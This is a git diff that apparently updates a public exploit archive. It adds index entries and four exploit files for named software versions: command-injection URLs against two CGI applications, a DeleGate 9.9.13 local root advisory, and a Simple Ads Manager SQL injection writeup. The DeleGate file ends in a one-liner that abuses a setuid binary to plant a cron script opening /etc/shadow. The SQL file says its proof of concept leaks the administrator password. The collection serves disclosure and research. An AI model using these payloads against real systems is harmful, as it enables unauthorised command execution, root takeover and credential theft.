diff --git a/files.csv b/files.csv index c897ff38f..c5c5f0382 100755 --- a/files.csv +++ b/files.csv @@ -35378,3 +35378,8 @@ id,file,description,date,author,platform,type,port 39127,platforms/cgi/webapps/39127.txt,"innoEDIT 'innoedit.cgi' Remote Command Execution Vulnerability",2014-03-21,"Felipe Andrian Peixoto",cgi,webapps,0 39128,platforms/php/webapps/39128.txt,"Jorjweb 'id' Parameter SQL Injection Vulnerability",2014-02-21,"Vulnerability Laboratory",php,webapps,0 39129,platforms/php/webapps/39129.txt,"qEngine 'run' Parameter Local File Include Vulnerability",2014-03-25,"Gjoko Krstic",php,webapps,0 +39130,platforms/cgi/webapps/39130.txt,"DotItYourself 'dot-it-yourself.cgi' Remote Command Execution Vulnerability",2014-03-26,"Felipe Andrian Peixoto",cgi,webapps,0 +39131,platforms/cgi/webapps/39131.txt,"Beheer Systeem 'pbs.cgi' Remote Command Execution Vulnerability",2014-03-26,"Felipe Andrian Peixoto",cgi,webapps,0 +39132,platforms/windows/local/39132.py,"FTPShell Client 5.24 - Buffer Overflow",2015-12-30,hyp3rlinx,windows,local,0 +39133,platforms/php/webapps/39133.php,"Simple Ads Manager 2.9.4.116 - SQL Injection",2015-12-30,"Kacper Szurek",php,webapps,80 +39134,platforms/linux/local/39134.txt,"DeleGate 9.9.13 - Local Root Vulnerability",2015-12-30,"Larry W. Cashdollar",linux,local,0 diff --git a/platforms/cgi/webapps/39130.txt b/platforms/cgi/webapps/39130.txt new file mode 100755 index 000000000..2cffafb00 --- /dev/null +++ b/platforms/cgi/webapps/39130.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/66487/info + +DotItYourself is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data. + +An attacker may leverage this issue to execute arbitrary commands in the context of the affected application. + +DotItYourself 6.11.060830 is vulnerable; other versions may also be affected. + +http://www.example.com/cade/dot-it-yourself.cgi?download=;id| \ No newline at end of file diff --git a/platforms/cgi/webapps/39131.txt b/platforms/cgi/webapps/39131.txt new file mode 100755 index 000000000..2e90a63c9 --- /dev/null +++ b/platforms/cgi/webapps/39131.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/66489/info + +Beheer Systeem is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data. + +An attacker may leverage this issue to execute arbitrary commands in the context of the affected application. + +Beheer Systeem 6.1 is vulnerable; other versions may also be affected. + +http://www.example.com/!/pbs.cgi?download=;id| \ No newline at end of file diff --git a/platforms/linux/local/39134.txt b/platforms/linux/local/39134.txt new file mode 100755 index 000000000..863e8bafe --- /dev/null +++ b/platforms/linux/local/39134.txt @@ -0,0 +1,49 @@ +Title: Local root vulnerability in DeleGate v9.9.13 +Author: Larry W. Cashdollar, @_larry0 +Date: 2015-12-17 +Advisory: http://www.vapidlabs.com/advisory.php?v=159 +Download Sites: http://delegate.hpcc.jp/delegate/ + http://delegate.org/delegate/ +Vendor: National Institute of Advanced Industrial Science and Technology +Vendor Notified: 2015-12-17 +Vendor Contact: y.sato@delegate.org ysato@etl.go.jp +Description: DeleGate is a multipurpose proxy server which relays various application protocols on TCP/IP or UDP/IP, including HTTP, FTP, Telnet, NNTP, SMTP, POP, IMAP, LPR, LDAP, ICP, DNS, SSL, Socks, and more. DeleGate mediates communication between servers and clients where direct communication is impossible, inefficient, or inconvenient. + +Vulnerability: +Installation of delegate 9.9.13 sets some binaries setuid root, at least one of these binaries can be used to escalate the privileges of a local user. The binary dgcpnod creates a node allowing a local unprivileged user to create files anywhere on disk. By creating a file in /etc/cron.hourly a local user can execute commands as root. + +Installation of software via source or binary distribution with option to not run as root results in a script set-subin.sh to run setting the setuid bit on four binaries. In Linux distributions where this software is part of the package list these binaries are not setuid root. (archlinux) + +From documentation http://www.delegate.org/delegate/newbies-ja.shtml (translated to english): +Go is included in the binary distribution, or DGROOT that you can build from the source to the location of preference, and then change the name if necessary. This is the DgRoot. In addition, if needed, you can rename the executable file of DeleGate to the name of the preference. This is the DgExe. +"In Unix version subin in if you want to use "(such as when using a privileged port), do the following. + + (3-2uk) $ cd DgRoot / subin + $ Sh setup-subin.sh + +larry@f4ult:~/dg9_9_13/DGROOT/subin$ ls -l +total 1916 +-r-sr-s--- 1 root larry 384114 Oct 31 2014 dgbind +-r-sr-s--- 1 root larry 384598 Oct 31 2014 dgchroot +-r-sr-s--- 1 root larry 384161 Oct 31 2014 dgcpnod +-rwxr-xr-x 1 larry larry 384114 Oct 31 2014 dgdate +-rwxr-xr-x 1 larry larry 29066 Oct 31 2014 dgforkpty +-r-sr-s--- 1 root larry 384113 Oct 31 2014 dgpam +-rwxr-x--- 1 larry larry 272 Oct 27 2014 setup-subin.sh + +This script sets the setuid bit on four binaries: + +larry@f4ult:~/dg9_9_13/DGROOT/subin$ cat setup-subin.sh +#!/bin/sh + +SUBINS="dgpam dgbind dgchroot dgcpnod" +sudo sh -c "chown root $SUBINS; chmod 6550 $SUBINS" +if [ $? != 0 ]; then + su root -c "chown root $SUBINS; chmod 6550 $SUBINS" +fi + +CVEID: 2015-7556 + + +Exploit Code: +$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme /etc/cron.hourly/rootme; echo -e '#!/bin/bash \n chmod 777 /etc/shadow' > /etc/cron.hourly/rootme \ No newline at end of file diff --git a/platforms/php/webapps/39133.php b/platforms/php/webapps/39133.php new file mode 100755 index 000000000..f38a0fcba --- /dev/null +++ b/platforms/php/webapps/39133.php @@ -0,0 +1,101 @@ +/* +# Exploit Title: Simple Ads Manager 2.9.4.116 SQL Injection +# Date: 30-12-2015 +# Software Link: https://wordpress.org/plugins/simple-ads-manager/ +# Exploit Author: Kacper Szurek +# Contact: http://twitter.com/KacperSzurek +# Website: http://security.szurek.pl/ +# Category: webapps + +1. Description + +$whereClause and $whereClauseT and $whereClauseW and $whereClause2W are not escaped. + +File: simple-ads-manager\ad.class.php + +$aSql = " + (SELECT + @pid := sp.id AS pid, + 0 AS aid, + sp.name, + sp.patch_source AS code_mode, + @code_before := sp.code_before AS code_before, + @code_after := sp.code_after AS code_after, + @ad_size := IF(sp.place_size = \"custom\", CONCAT(CAST(sp.place_custom_width AS CHAR), \"x\", CAST(sp.place_custom_height AS CHAR)), sp.place_size) AS ad_size, + sp.patch_code AS ad_code, + sp.patch_img AS ad_img, + \"\" AS ad_alt, + 0 AS ad_no, + sp.patch_link AS ad_target, + 0 AS ad_swf, + \"\" AS ad_swf_flashvars, + \"\" AS ad_swf_params, + \"\" AS ad_swf_attributes, + \"\" AS ad_swf_fallback, + sp.patch_adserver AS ad_adserver, + sp.patch_dfp AS ad_dfp, + 0 AS count_clicks, + 0 AS code_type, + IF((sp.patch_source = 1 AND sp.patch_adserver) OR sp.patch_source = 2, -1, 1) AS ad_cycle, + @aca := IFNULL((SELECT AVG(sa.ad_weight_hits*10/(sa.ad_weight*$cycle)) FROM $aTable sa WHERE sa.pid = @pid AND sa.trash IS NOT TRUE AND {$whereClause} {$whereClauseT} {$whereClause2W}), 0) AS aca + FROM {$pTable} sp + WHERE {$pId} AND sp.trash IS FALSE) + UNION + (SELECT + sa.pid, + sa.id AS aid, + sa.name, + sa.code_mode, + @code_before AS code_before, + @code_after AS code_after, + @ad_size AS ad_size, + sa.ad_code, + sa.ad_img, + sa.ad_alt, + sa.ad_no, + sa.ad_target, + sa.ad_swf, + sa.ad_swf_flashvars, + sa.ad_swf_params, + sa.ad_swf_attributes, + sa.ad_swf_fallback, + 0 AS ad_adserver, + 0 AS ad_dfp, + sa.count_clicks, + sa.code_type, + IF(sa.ad_weight, (sa.ad_weight_hits*10/(sa.ad_weight*$cycle)), 0) AS ad_cycle, + @aca AS aca + FROM {$aTable} sa + WHERE sa.pid = @pid AND sa.trash IS FALSE AND {$whereClause} {$whereClauseT} {$whereClauseW}) + ORDER BY ad_cycle + LIMIT 1;"; + +http://security.szurek.pl/simple-ads-manager-294116-sql-injection.html + +2. Proof of Concept +*/ + + +
+ +/* +Administrator password will be here: + +{"success":true,"ad":"